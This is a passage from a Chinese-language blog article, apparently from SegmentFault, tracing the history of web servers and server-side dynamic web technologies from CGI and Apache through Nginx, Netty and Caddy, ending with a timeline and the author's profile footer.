虽然 Jigsaw 命运早夭,但因为它是第一个由 Java 编写的 Web Server,起到了很多纲领性的指导作用,为后续 Java 技术在 Web 领域的扩展打下了坚实的基础。

值得一提的是,JDK 9 中新引入了与 Jigsaw 同名的模块化方案,但与 Jigsaw HTTPd 并没有什么关联。

萌芽初生:SSI 的诞生与 CGI 的兴起

最早的 Web 服务器只是简单地响应浏览器发来的 HTTP 请求,并将存储在服务器上的 HTML 文件返回给浏览器。可以近似理解为拥有文档预览功能的 FTP。文档内容在文件未修改前就是不变的,所有访问 Web 的用户看到的内容都是相同的。

这也就是前文提到的所谓的“静态网页”,这显然满足不了人们对信息丰富性和多样性的强烈需求。

由此,Web 技术的发展出现了两条分支路线。一条是尝试向客户端、即浏览器引入动态交互,例如 Sun 公司的 Java Applet、Netscape 公司的 JavaScript、Microsoft 公司的 JScriptVBScript、Adobe 公司的 FlashActionScript 等等。另一条是试图从服务端、即 Web Server 入手,想在返回给客户端时就输出动态的内容。这两条路线都在未来有了十分迅猛的发展,我们今天按下客户端不表,只谈服务端这面。

1991 年,NCSA 首次提出了 Server Side Includes(简称为 SSI,服务端嵌入) 的概念,并在之后发布的 NCSA HTTPd 中实现这一技术。

不过 SSI 的功能十分有限,通常用于实现网站页面的公共部分引用,比如在网页底部重复出现的版权声明等信息。它既不支持运算表达式,也不能根据逻辑条件判断是否输出特定内容,更遑论支持数据库这种 “高级操作” 了。所以虽然早期的 Web Server 都支持这种技术,但它并没有流行起来。

1993 年,在 NCSA 发布 NCSA HTTPd 的同时,NCSA 又提出了 Common Gateway Interface(简称为 CGI,通用网关接口)这一概念,并在未来几年内先后制订了 CGI 1.0CGI 1.1CGI 1.2 等标准。

CGI 本质上来说,就是接受一个输入、并返回一个输出的程序。CGI 独立于 Web Server 存在,在收到特定请求后(这些请求通常以 /cgi-bin/ 路径开头),Web Server 将 HTTP 请求的内容作为参数传递给 CGI 程序,并将 CGI 程序的返回值作为 HTTP 响应返回给客户端。所以 CGI 程序不能独立运行,需要配合 Web Server 才能工作。

早期通常是在 Web Server 接受到一个请求后,开启一个新的进程来执行 CGI 程序,这种方式在请求量稍微大一些时,就会严重拖累服务器的性能。

所以,随后又诞生了 FastCGI(简称为 FCGI)技术。简单来说,就是一个常驻内存的进程池技术,可以复用进程,使得 CGI 的工作负载性能大大提升。

在今天,由于 CGI 编写的复杂难度过大,已经很少有人再直接应用这种技术(间接的还有很多)。但它的出现,给其他编程语言带来了启发,诸如 FCGISCGIWSGIServlet 乃至后来的动态脚本语言等技术不断涌现,它们都滥觞于 CGI

承前启后:WebServer 之 Apache HTTP Server

1995 年,在随着 NCSA HTTPd 1.3 版本的发布,NCSA 就逐渐放缓了对 NCSA HTTPd 版本的开发工作。但为了满足日益丰富的 Web 服务端技术的需要,NCSA HTTPd 的社区成员在 Brian Behlendorf 的领导下,决定在 NCSA HTTPd 1.3 版本的基础上创建一个新的分支,并取名为 Apache

为什么取名为 Apache?其中一个流传最广的解释是,Apache 是在 NCSA HTTPd 的基础上修改的,因此是一个 “修补过的”(a patchy)Web Server。

但后来在 Apache 的 2.0 版本里,Apache 社区已将 NCSA HTTPd 的源代码全部移除,二者在今天已经没有了直接关系。

Apache 在前人的基础上,支持了很多新的 Web 特性。例如:多种身份认证方案、支持 CGI、支持 SSL/TLS、支持 IPv6、反向代理、URL 重写、定制化日志文件等等。与此同时,在其 2.0 版本中还加入了对非 Unix 操作系统的跨平台支持。

随着 Apache 逐渐发展壮大,它成为了首个最为广泛使用的开源 Web Server,曾一度占领了 70% 以上的市场份额,现在是主流的 Web Server 之一。加之其可执行文件名为 httpd,所以很多后人也将 HTTPd 理解成 Apache 的代名词,但这只是个误解。

Apache 的设计理念,影响了很多后来的 Web Server,是开源世界和 Web 历史中不能不提的一环。

值得一提的是,Apache 社区在 1999 年成立了 Apache Software Foundation(Apache 软件基金会)组织,致力于支持开源软件事业。我们今天谈及 Apache,即指的是最初的 Apache HTTP Server,也指 Apache 软件基金会。

正如前文提到的那样,虽然被称为 Apache HTTP Server,但它不仅仅支持 HTTP 协议及其衍生协议,还可以通过插件的形式支持其他协议。

异军突起:WebServer 之 IIS

1995 年 5 月,在令世界为之疯狂的 Windows 95 上市的前三个月,Windows NT 3.51 发布,这是 Windows NT 3.X 系列中的最后一个版本,也是第一个支持全中文的 Windows 操作系统。

随着这一版本的发布,一个名为 Internet Information Services(简称为 IIS,互联网信息服务)的系统可选组件悄然到来。

由于 IIS 是在 Windows 操作系统平台下开发的,这也限制了它只能在 Windows 下运行,但它是首个支持以 GUI 方式配置的 Web Server。

Apache 一样,IIS 也支持 HTTP 协议及其衍生协议、FTP 协议、SMTP 协议等。

随着 Windows 的流行,IIS 也不断进行版本迭代,它曾一度接近 Apache 的市场份额,现在也是主流的 Web Server 之一。

诸神崛起:PHP、JSP 还是 ASP?

CGI 程序一般由 C、C++、Pascal 等语言编写,并在目标平台上编译成二进制可执行程序,这给开发维护工作带来了很多麻烦。

为了简化 CGI 程序的修改、编译和发布流程,人们开始探寻用无需编译的脚本语言来实现 CGI 应用的道路。

很快,第一个用 Perl 写成的 CGI 程序问世。很快,Perl 在 CGI 编程领域的风头就盖过了它的前辈 C 语言。随后,Python 等著名的脚本语言也陆续加入了 CGI 编程语言的行列。不过随着 CGI 技术本身的衰落,Perl 最终在其后续版本中移除了 CGI 的相关模块。

1994 年,丹麦裔加拿大人 Rasmus Lerdorf 用 Perl 编写了一个简单的程序,用于统计他的个人主页的访问者。后来,Rasmus Lerdorf 用 C 语言重新编写了一遍这个程序,并在 1995 年以 Personal Home Page Tools(简称为 PHP Tools,个人主页工具)的名义开源了 PHP 1.0 版本。

在这早期的版本中,提供了访客留言本、访客计数器等简单的功能。以后越来越多的网站使用了 PHP,并且强烈要求增加如循环语句、数组变量等新特性,在新的社区成员加入开发行列后,1995 年,PHP 2.0 版本顺利发布。在这个版本中,PHP 添加了对 MySQL 数据库的支持,从此建立了其在动态网页开发上的地位。

PHP 最早使用 CGI 的工作方式(即 php-cgi),后因为这种方式的性能损耗很大,所以又开发了基于 FastCGI 的版本(即 php-fpmPHP FastCGI Process Manager 的缩写)。

但与早期 CGI 不同的是,PHP 首次将 HTML 代码和 PHP 指令合成为完整的服务端文档,Web 应用的开发者可以用一种更加简便、快捷的方式实现动态 Web 网页功能。

1996 年,Microsoft 公司在借鉴了 PHP 的思想后,在其产品 IIS 3.0 版本中引入了名为 Active Server Pages(简称为 ASP,动态服务器网页)的技术。

ASP 使用的脚本语言是 JScript 和 VBScript。借助 Microsot Office FrontPage、Microsoft Visual Studio 等开发工具在市场上的成功,ASP 迅速成为了 Windows 系统下 Web 服务端的主流开发技术。

需要说明的,Microsoft 在之后的 .NET Framework 和 .NET Core 体系中,还分别引入的名为 ASP .NETASP .NET Core 的技术。如果说后两者还师出同门,只不过一个只在 Windows 上运行、一个能跨平台运行;而 ASP 则和后两者只有名字上得到了传承,实际上已经没什么关系了。

当然,以 Sun 公司为首的 Java 阵营也不会示弱。1997 年,Servlet 技术问世。1998 年,Java Server Pages(简称为 JSP,Java 服务器页面)技术诞生。

其中 Servlet 类似于 CGI/FastCGI 处理;JSP 则类似于 PHP 的 HTML 模版。前者对于拼接 HTML 不是很擅长,后者对于运算和逻辑写起来又很繁琐,那么有没有可以把二者优势相结合的办法呢?

答案是肯定的,这也就是著名的 MVCModel-View-Controller)架构。虽然 MVC 架构早在 1978 年就在 Smalltalk 上提出,在 GUI 领域上也有 Microsoft 推出的 Microsoft Foundation Classes(简称为 MFC,微软基础类库)丰富实践,但这还是首次在 Web 领域得到应用。

这种 Servlet + JSP 组合的方式,后来也反过来影响了之前出现的 PHPASP,二者最终在后续版本中引入了类似的功能。

至此,扩展到 Web 领域的语言(如 Perl、Python),以及专为 Web 而生的语言(如 PHP、ASP、JSP),这些主流的脚本语言已全部出现,它们最终引领了 Web 下一个时代的前进方向。

容器之路:WebServer 之 Apache Tomcat

上文提到,无论 Apache 也好、IIS 也罢,本身并不直接生成动态页面,而是需要以 CGI/FastCGI 的方式将 HTTP 请求转发给相应的处理程序,才能返回动态页面。

PHPASPJSP 等脚本语言的出现,虽然已经不需要 Web 开发人员手工编写复杂的 CGI/FastCGI 程序来解析、封装 HTTP 报文,而是专注于业务逻辑本身即可。但这种方式其实质还是 Web Server + CGI/FastCGI 二者独立运行的方式。

那么有没有直接能生成动态 HTML 内容、无需 CGI/FastCGI 配合的 Web Server 呢?

1999 年,Tomcat 应运而生。Tomcat 既是 HTTP Web Server,也是 Java 执行容器,它由 Catalina Servlet 容器、Coyote 连接器、Jasper JSP 引擎等组件组成,可以直接输出动态 HTML 文档。

由于 Tomcat 也是 Apache 软件基金会的顶级项目之一,所以也被称为 Apache Tomcat

早期的 Tomcat 由于性能不佳(尤其是针对纯静态内容),通常还是要与 Apache HTTP Server 或者其他 Web Server 一起工作,除了用于开发过程中的调试以及那些对速度要求很低的开发者,很少会将 Tomcat 单独作为 Web Server。

这也给很多人造成了误解,以为 Tomcat 是那些基于 CGI/FastCGI 技术的脚本语言类似,是专门运行 ServletJSP 的程序。其实这也是一种误解,无论是 Servelet 还是 JSP,它们都比 Tomcat 面世的要早;而 Tomcat 完全可以脱离 Apache HTTP Server 独立运行,充当 Web Server。

但随着 Tomcat 版本的不断迭代,以及 Web Server 集群技术的广泛使用,正有越来越多的开发者将其单独作为 Web Server。

为了和早期那种只支持静态网页的 Web Server 加以区分,我们把这类 Web Server 也称之为 Application Server,即应用服务器。

Tomcat 这种 Web Server + 执行容器的双重身份的方式,后来也有越来越多的 Java 开源产品采用,诸如 JettyNettyUnderow 等等。

值得一提的是,2014 年,Microsoft 发布了 ASP .NET vNext 首个预览版,也就是后来的 ASP .NET Core,从这一版本开始,Microsoft 也实现了类似的产品,名为 Kestrel Server

风起云涌:libevent、libev、libuv,C10K 的法宝

网络通信,本质上就是对网卡或网络虚拟设备进行 I/O 操作。

早期的操作系统,基本都是阻塞 I/O(即 BIO),这种方式在面对大量并发时,会显得力不从心。上文提到的各种 Web Server 都是基于这种实现方式。

在这一时期,很多 Web Server 都会遇到著名的 “C10K” 问题,即:当请求的并发数量达到一万后,Web Server 的性能会随之急剧下降。

为了缓解并发问题,后来又出现了非阻塞 I/O(即 NIO)、异步 I/O (即 AIO)、I/O 多路复用等模型。例如 Unix 系统下的 pollselect,Solaris 系统下的 /dev/poll,BSD 系统下的 kqueue,Linux 系统下的 epoll,Windows 系统下的 IOCP 等等。它们各自的区别和优缺点我们这里不做展开,感兴趣的朋友可以自己搜索相关资料。

2000 年,libevent 问世。这是一个由 C 语言编写的、轻量级的开源高性能事件驱动编程库。起初它只兼容类 Unix 操作系统,在其他系统上性能并不高,后来在社区的推动下才慢慢支持 Windows 等操作系统的 IOCP 模型。不过因为它历史悠久,社区活跃,很多出生较早的项目基本都会选择它作为网络编程库。

目前使用 libevent 的知名项目有:MemcachedGoogle ChromentpdTor(洋葱路由)等等。

2007 年,为解决 libevent 多线程全局变量不安全、组件质量参差不齐等问题,Marc Lehmann 决定精简 libevent,去掉多余的组件(如 HTTP 和 DNS),只专注于事件驱动,并最终形成了 libev。可以理解为 libevlibevent 的一个分支版本。目前这一分支作者已停止维护,而且 libeventlibuv 却在社区推动下飞速发展,所以最后很多项目都不再使用 libev

目前 libev 使用它的知名项目有 ShçdôwSôcks(河蟹拼法)、Node.js 早期版本。

2011 年,在使用了 libev 作为内置 Web Server 仅仅两年后,Node.js 社区意识到了一些问题。一是前面提到项目维护问题;二是因为 Node.js 的日益流行,迫切需要跨平台支持。因此,由 Node.js 之父 Ryan Dahl 主导的 libuv 诞生。它也是由 C 语言编写,提供对基于事件循环的异步 I/O 的跨平台支持。最终,在 Node.js 0.9 版本中,libuv 完全取代了 libev

目前使用 libuv 的知名项目有:Node.jsASP .NET CoreCMakeJulia 等等。

事件驱动编程的流行,给 Web Server 开发带来来新的活力,很多编程语言都加入了对它们的封装引用,可以很方便、快捷地搭建出一个简单的 Web Server。但通常来说,都是用于快速搭建开发测试环境,目前还有没有一款基于此的、独立的 Web Server 产品出现。

后起之秀:WebServer 之 Nginx

2004 年,俄罗斯人 Igor Vladimirovich Sysoev 在经过了两年的开发后,发布了名为 Nginx 的 Web Server。

NginxEngine X 的缩写,即“超级引擎”之意。在设计之初,Nginx 就被赋予了一个明确的目标:全面超越 Apache HTTP Server 的性能。

Nginx 同时支持 NIO、AIO 两种 I/O 模型,在能支持大量并发连接的情况下,降低了内存占用,并提高了系统稳定性,完美地解决了 C10K 问题。

虽然 Nginx 在 Windows 系统上不如 Apache 表现稳定,更遑论 Microsoft 的亲儿子 IIS 了。但它的可扩展性和高性能,仍然吸引着大量开发者使用。

不过随着云平台的兴起,Nginx 又成为了很多云厂商的首选。例如:

  • Kubernetes 选择其作为 Ingress-Controller 组件的官方实现。
  • OpenRestry 选择其作为公司旗下平台产品的基础组件。
  • 阿里巴巴集团选择其二次开发,命名为 Tengine,是阿里云负载均衡器产品的基础组件,也是淘宝系统的重要组成部分。

截止目前为止,Nginx 已占据了 36% 以上的 Web Server 市场份额,正逐渐蚕食着 ApacheIIS 的市场份额。

长江后浪:WebServer 之 Netty

2011 年,在从 RedHad(红帽)公司独立出来并开源后,Netty,这个脱胎于 JBoss 的项目,在被 RedHat 收购之后,才终于迎来了它的高速发展期。

由于诞生日期很晚,在吸收了早期其他 Web Server 的经验教训后,Netty 直接采用了 NIO 的 I/O 模型,实现了其更高的并发性能。

Tomcat 一样,Netty 也是一个 Java 实现的 Web Server。这里要指出的是,后来 Tomcat 也支持了 NIO,还新引入了 APR 技术,所以目前 Netty 带来的性能优势已经不是很明显。

但与 Tomcat 是支持七层的 HTTP 等协议不同的是,而 Netty 是从四层开始支持 TCPUDP 等协议,除了充作 HTTP Web Server 外,还可以实现自己的高性能私有协议(如 RPC 协议)Web Server。


群星璀璨:其他知名 Web Server

本文着重介绍了早期的、和一些现阶段流行的 Web Server。

实际上,Web Server 领域曾经有无数的优秀作用,也正兴起着更多的、功能更强大的产品。

下面按发布时间顺序,列举另外一批比较出名的 Web Server:

  • thttpd:1995 年由 Jeffrey A. Poskanzer 开源的项目,由 C 语言编写。其得名于 Tiny HTTPd,意为“微小的 HTTPd”。因其功能简单,且只支持类 Unix 系统,所以占用资源消耗可以优化到很低,曾被视为是 Apache 的轻量级替代品,现在常被用于如路由器一类的嵌入式设备。该项目目前仍在维护,最新一个版本是 2018 年推出的 2.29 版。
  • Jetty:1995 年由 Greg Wilkins 开发的项目。最初起名为 IssueTrackerMBServler,后在使用 Java 重构后更名为 Jetty。2009 年项目被移交给 Eclipse 基金会。随着大数据技术的兴起,Jetty 因被集成在 Apache Hadoop 项目中而得以名声大噪,现在是 Eclipse IDE 和 Spring Boot 的内置容器之一。该项目目前仍在维护,最新一个版本是 2020 年推出的 11.0.0 版。
  • WebLogic:1997 年由 Oracle(甲骨文)公司推出的商业产品,由 Java 编写。最初的产品名为 WebLogic Tengah,后更名为 WebLogic Server。它是世界上第一个成功商业化的 J2EE 应用服务器。该产品目前仍在维护,最新一个版本是 2014 年推出的 12.1.3 版。
  • WebSphere:1998 年由 IBM 公司推出的商业产品,由 Java 编写,同样也是一款 J2EE 应用服务器。该产品目前仍在维护,最新一个版本是 2018 年推出的 9.0.5 版本。
  • lighttpd:2003 年由 Jan Kneschke 开源的项目,由 C 语言编写。其得名于 Lighty HTTPd,意为 “轻量级 HTTPd”。lighttpd 的源码十分简洁精练,有着很多拥趸。Bloglines、Meebo、YouTube(油管)、Wikipedia(维基百科)等著名网站都使用过 lighttpd 作为 Web Server,也被如路由器等很多嵌入式设备使用。该项目目前仍在维护,最新一个版本是 2020 年推出的 1.4.55 版。
  • Jexus:2008 年由 @宇内流云(本名刘冰)推出的免费产品,基于 Mono 的 .NET 跨平台 Web Server,可理解为 Linux 系统下的 IIS。支持 ASP .NET、ASP .NET Core、PHP、Node.js 等语言。搭配 Jexus Manager 可实现 GUI 化配置。该产品目前仍在维护,最新一个版本是 2018 年推出的 6.2 版。
  • Cherokee:2010 年由 Álvaro López Ortega 开源的项目,由 C 语言编写。号称比 Nginx 性能更高,但内存消耗会更大一些。功能丰富,支持 GUI 配置界面。该项目目前仍在维护,最新一个版本是 2013 年推出的 1.2.103 版。
  • Mongoose:2011 年由 Sergey Lyubka 开源的项目,由 C 语言编写。除 HTTP 协议及其衍生协议外,还支持 MQTT 和更底层的 TCP 协议,所以现在常被用于物联网智能设备中。该项目目前仍在维护,最新一个版本是 2020 年推出的 6.18 版。(注意:要与 MongoDB 数据库中的 Mongoose 相区分,两者没有关系)
  • Underow:2013 年由 RedHat 公司开源的项目,由 Java 编写。同样是 Spring Boot 内置容器之一。该项目目前仍在维护,最新一个版本是 2020 年推出的 2.1.3 版。
  • Caddy:2015 年由 Matthew Holt 开源的项目,由 Golang 编写。以开箱即用著称,内置 Markdown 预览功能,实现了 HTTPS 证书自动续约,支持丰富的扩展插件。这是一款新兴的 Web Server,目前还没有得到大规模的企业级服务端应用,反倒在搭建私人网站、网络硬盘等方面受到了个人用户欢迎。该项目目前仍在维护,最新一个版本是 2020 年推出的 2.0.0 版。

尾声

本文以时间线为基准,谈到了几个流行的 Web Server 及动态网页的发展。

其实无论是 Web Server,还是可用作动态网页的编程语言,都远不止提到的这些,但其他的都没有这些流行,这里也就不费笔墨。

下面我们再总结梳理一下时间线:

时间事件
1990 年Tim Berners-Lee 创造了 Common Library,又名 CERN HTTPd
1991 年NCSA 提出 SSI 概念。
1993 年Common Library 开源,更名为 libwww
1993 年NCSA 仿 libwww 创造了 NCSA HTTPd,实现了 SSI,并提出了 CGI 概念。
1994 年libwww 项目移交给 W3C,又称 W3C HTTPd
1995 年Jeffrey A. Poskanzer 开源 thttpd
1995 年Rasmus Lerdorf 开源 PHP 技术。
1995 年Microsoft 公司发布 IIS
1995 年NCSA HTTPd 的基础上,Brian Behlendorf 领导产生了新的分支 Apache
1995 年Greg Wilkins 开发了 IssueTracker,又名 MBServler
1996 年W3C 开源 Jigsaw
1996 年Microsoft 公司发布 ASP 技术。
1997 年Sun 公司发布 Java Servlet 技术。
1997 年Oracle 公司发布 WebLogic
1998 年Sun 公司发布 Java JSP 技术。
1998 年IBM 公司发布 WebSphere
1999 年Apache 社区开源 Tomcat
2000 年libevent 编程库问世。
2003 年Jan Kneschke 开源 lighttpd
2004 年Igor Vladimirovich Sysoev 开源 Nginx
2005 年libev 编程库问世。
2008 年@宇内流云(本名刘冰)发布 Jexus
2009 年IssueTracker 项目移交给 Eclipse 基金会,更名为 Jetty
2010 年Álvaro López Ortega 开源了 Cherokee
2011 年libuv 编程库问世。
2011 年Sergey Lyubka 开源了 Mongoose
2011 年RedHat 公司开源了 Netty
2013 年RedHat 公司开源了 Underow
2014 年Microsoft 公司开源了 Kestrel Server
2015 年Matthew Holt 开源了 Caddy

注:文章中的所有人物、事件、时间、地点,均来自于互联网公开内容,由本人进行搜集整理,其中如有谬误之处,还请多多指教。


参考阅读


首发于 Segmentfault.com,欢迎转载,转载请注明来源和作者。

RHQYZ, Write at 2020.06.29.

查看原文

赞 24 收藏 8 评论 4

认证与成就

  • 认证信息 SegmentFault 技术编辑
  • 获得 235 次点赞
  • 获得 1 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 1 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2020-04-01
个人主页被 16k 人浏览